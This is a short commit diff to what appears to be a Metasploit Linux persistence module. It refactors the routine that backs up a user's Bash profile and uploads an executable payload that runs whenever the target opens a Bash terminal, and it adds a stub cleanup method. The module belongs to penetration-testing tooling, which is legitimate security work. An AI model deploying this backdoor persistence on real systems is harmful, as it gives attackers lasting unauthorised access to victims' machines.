feat: draft bash_profile using persistence mixin

modules/exploits/linux/persistence/bash_profile.rb

@@ -82,13 +82,13 @@ def check
     CheckCode::Detected("Bash profile exists and is writable: #{ppath}")
   end
 
-  def exploit
+  def install_persistence
     # create Bash profile backup on local system before persistence is added
     ppath = profile_path
     backup_profile = read_file(ppath)
 
-    backup_profile_path = store_loot("desktop.#{datastore['BASH_PROFILE'].split('/').last}", 'text/plain', session, backup_profile, datastore['BASH_PROFILE'].split('/').last, 'bash profile backup')
-    print_status("Created backup Bash profile: #{backup_profile_path}")
+    @backup_profile_path = store_loot("desktop.#{datastore['BASH_PROFILE'].split('/').last}", 'text/plain', session, backup_profile, datastore['BASH_PROFILE'].split('/').last, 'bash profile backup')
+    print_status("Created backup Bash profile: #{@backup_profile_path}")
 
     # upload persistent payload to target and make executable (chmod 700)
     backdoor_path = datastore['WritableDir']
@@ -102,4 +102,9 @@ def exploit
     vprint_status('Created Bash profile persistence')
     print_good('Payload will be triggered when target opens a Bash terminal')
   end
+
+  def cleanup_persistence
+    print_warning('Here we should cleanup here')
+    print_status("Backup: #{@backup_profile_path}")
+  end
 end